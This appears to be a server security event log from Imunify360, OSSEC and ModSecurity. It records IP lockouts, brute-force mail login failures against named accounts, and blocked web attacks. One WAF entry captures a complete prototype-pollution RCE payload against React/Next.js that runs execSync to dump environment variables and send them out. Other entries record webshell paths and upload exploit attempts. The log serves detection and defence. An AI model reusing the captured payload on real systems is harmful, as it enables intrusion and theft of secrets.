plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 04:19:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 95.70.149.146
country_id: 298795
domain: jaashsupplies.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/ico0lkmow/fonts/shfmza.phar||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.86.169.92
country_id: 1819730
description:
Jul 22 04:20:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.86.169.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.177.143.61
country_id: 1819730
description:
Jul 22 04:21:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.177.143.61 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.177.143.61
country_id: 1819730
description:
2026-07-22 04:21:32 dovecot_login authenticator failed for H=([65.20.143.45]) [210.177.143.61]:52138: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.48.176.134
country_id: 3686110
description:
Jul 22 04:21:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.48.176.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.48.176.134
country_id: 3686110
description:
2026-07-22 04:21:50 dovecot_login authenticator failed for H=([94.16.17.139]) [181.48.176.134]:41247: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 04:26:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 195.63.25.155
country_id: 2635167
domain: travelinbh.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:HEAD http:/travelinbh.com/ HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.172.218.20
country_id: 6252001
domain: elegantautomotives.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/elegantautomotiv/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 04:29:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 04:33:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 04:36:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 04:41:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 04:45:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 22 04:45:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 04:48:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 04:48:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.127.42
country_id: 1269750
description:
2026-07-22 04:51:02 dovecot_login authenticator failed for H=([174.77.111.220]) [182.95.127.42]:40130: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.82.56.12
country_id: 1269750
description:
Jul 22 04:51:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.82.56.12 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.56.12
country_id: 1269750
description:
2026-07-22 04:51:20 dovecot_login authenticator failed for H=(mx-ll-223.206.73-179.dynamic.3bb.in.th) [183.82.56.12]:58817: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 04:55:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.168.197.245
country_id: 1269750
description:
2026-07-22 04:55:55 dovecot_login authenticator failed for H=(122-117-253-16.hinet-ip.hinet.net) [122.168.197.245]:52888: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.168.197.245
country_id: 1269750
description:
Jul 22 04:55:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.168.197.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 173.18.106.54
country_id: 6252001
description:
Jul 22 04:56:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 173.18.106.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.18.106.54
country_id: 6252001
description:
2026-07-22 04:56:04 dovecot_login authenticator failed for H=([49.124.153.61]) [173.18.106.54]:39784: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.86.169.92
country_id: 1819730
description:
Jul 22 05:01:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.86.169.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 05:03:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://acrepair1.info\">webpage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 05:06:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.239.145.229
country_id: 6252001
description:
Jul 22 05:07:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.239.145.229 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.239.145.229
country_id: 6252001
description:
2026-07-22 05:08:01 dovecot_login authenticator failed for H=([68.71.253.70]) [72.239.145.229]:52430: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 22 05:08:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.22.207
country_id: 6252001
description:
2026-07-22 05:08:19 dovecot_login authenticator failed for H=([37.208.46.131]) [207.254.22.207]:64133: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 88.230.228.122
country_id: 298795
domain: cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/cochinbigbandsho/public_html/administrator/components/com_jdownloads||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 05:10:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 05:11:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 05:16:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.138.181
country_id: 1819730
description:
Jul 22 05:19:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.138.181 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.138.181
country_id: 1819730
description:
2026-07-22 05:19:15 dovecot_login authenticator failed for H=([95.35.29.192]) [121.202.138.181]:51520: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.37.150.6
country_id: 1835841
description:
2026-07-22 05:19:20 dovecot_login authenticator failed for H=(111-70-3-106.emome-ip.hinet.net) [61.37.150.6]:35750: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.37.150.6
country_id: 1835841
description:
Jul 22 05:19:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.37.150.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.5.205.174
country_id: 6252001
description:
2026-07-22 05:19:28 dovecot_login authenticator failed for H=ip-50-5-205-174.dynamic.fuse.net ([210.123.87.143]) [50.5.205.174]:48206: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.5.205.174
country_id: 6252001
description:
Jul 22 05:19:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.5.205.174 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 114.10.145.203
country_id: 1643084
domain: www.alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcevwjet49b.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 05:25:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.86.169.92
country_id: 1819730
description:
Jul 22 05:26:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.86.169.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 05:26:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.3.4.69
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 \xe0\xb8\x94\xe0\xb8\xb9\xe0\xb8\xab\xe0\xb8\x99\xe0\xb8\xb1\xe0\xb8\x87\xe0\xb8\xab\xe0\xb8\xb5 (<a href=\"http://yedhod18.com/video-tag/deerlong/\">yedhod18.com</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 05:32:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 05:34:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 05:36:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 142.147.242.169
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:142.147.242.169||TA:142.147.242.169||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 05:46:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 05:47:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.124.155.182
country_id: 1733045
description:
Jul 22 05:50:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.124.155.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.155.182
country_id: 1733045
description:
2026-07-22 05:50:57 dovecot_login authenticator failed for H=([125.88.160.13]) [49.124.155.182]:33130: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.2.228.48
country_id: 597427
description:
Jul 22 05:50:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.2.228.48 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.2.228.48
country_id: 597427
description:
2026-07-22 05:50:43 dovecot_login authenticator failed for H=static-185-2-228-48.cust.tele2.lt ([118.33.168.75]) [185.2.228.48]:41224: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.249.76.219
country_id: 1269750
description:
Jul 22 05:53:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.249.76.219 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.249.76.219
country_id: 1269750
description:
2026-07-22 05:53:27 dovecot_login authenticator failed for H=([37.25.36.197]) [49.249.76.219]:38334: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.93.236.91
country_id: 1643084
description:
Jul 22 05:53:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.93.236.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.93.236.91
country_id: 1643084
description:
2026-07-22 05:53:45 dovecot_login authenticator failed for H=([72.223.188.94]) [36.93.236.91]:50141: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.24.200.219
country_id: 2661886
description:
Jul 22 05:54:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.24.200.219 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.24.200.219
country_id: 2661886
description:
2026-07-22 05:54:18 dovecot_login authenticator failed for H=h-85-24-200-219.a158.priv.bahnhof.se (karuna.divineled.com) [85.24.200.219]:44528: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.105.229.237
country_id: 1835841
description:
Jul 22 05:54:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.105.229.237 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.105.229.237
country_id: 1835841
description:
2026-07-22 05:54:32 dovecot_login authenticator failed for H=(152-237-221-1.user.vtal.net.br) [211.105.229.237]:54174: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 05:55:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 05:57:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77264624
name: IM360 WAF: Polyshell accesson backdoor access (CVE-2025-54265 post-exploit)
abuser: 93.152.205.216
country_id: 732800
domain: gsmex.global
description:
IM360 WAF: Polyshell accesson backdoor access (CVE-2025-54265 post-exploit)||MV:/accesson.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.38.54
country_id: 1668284
description:
Jul 22 05:58:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.38.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.54
country_id: 1668284
description:
2026-07-22 05:58:21 dovecot_login authenticator failed for H=111-70-38-54.emome-ip.hinet.net ([115.241.65.249]) [111.70.38.54]:43265: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.239.145.229
country_id: 6252001
description:
Jul 22 05:58:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.239.145.229 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.239.145.229
country_id: 6252001
description:
2026-07-22 05:58:38 dovecot_login authenticator failed for H=([212.132.64.89]) [72.239.145.229]:43394: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77093094
abuser: 134.122.94.138
country_id: 2921044
domain: arcrealtors.com.au
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('env || env | sort || env 2>/dev/null || printenv 2>/dev/null || printenv').toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/x?out=${encodeURIComponent(res)};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://hvacemergencyservice3.info\">web site</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 06:08:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 06:08:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 06:17:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 06:17:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 06:21:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 23.108.46.59
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://money.mymotherlode.com/clarkebroadcasting.mymotherlode/article/abnewswire-2026-6-4-pressure-washing-commitments-in-lindenhurst-ny-backed-by-south-shore-power-washing-through-honest-and-ethical-service-delivery-standards/\">Commercial Pressure washing</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 06:25:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.118.224.138
country_id: 1835841
description:
Jul 22 06:27:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.118.224.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.118.224.138
country_id: 1835841
description:
2026-07-22 06:27:29 dovecot_login authenticator failed for H=([172.233.139.80]) [210.118.224.138]:49233: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 64.251.149.81
country_id: 6252001
description:
Jul 22 06:28:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 64.251.149.81 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.251.149.81
country_id: 6252001
description:
2026-07-22 06:28:33 dovecot_login authenticator failed for H=64-251-149-81.fidnet.com ([174.64.199.87]) [64.251.149.81]:43672: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.195.132.165
country_id: 1835841
description:
Jul 22 06:28:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.195.132.165 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.195.132.165
country_id: 1835841
description:
2026-07-22 06:28:55 dovecot_login authenticator failed for H=([82.16.221.216]) [175.195.132.165]:60590: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.symbaloo.com/mix/yohoho\">yohoho</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 06:29:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 134.255.243.242
country_id: 2635167
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.linkomanija.net/redir.php?url=http://polostrakonice.8u.cz/2024/10/muzi-obsadili-v-ceskem-poharu-ctvrte-misto/\">crazytime stats</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 06:30:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.183.230.195
country_id: 6252001
description:
Jul 22 06:37:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.183.230.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.183.230.195
country_id: 6252001
description:
2026-07-22 06:37:18 dovecot_login authenticator failed for H=wsip-70-183-230-195.pn.at.cox.net ([49.124.133.102]) [70.183.230.195]:42102: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2026-07-22 06:37:48 dovecot_login authenticator failed for H=([192.111.137.33]) [203.252.10.3]:47902: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 06:45:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 06:46:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.171.55.242
country_id: 1269750
description:
Jul 22 06:47:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.171.55.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.171.55.242
country_id: 1269750
description:
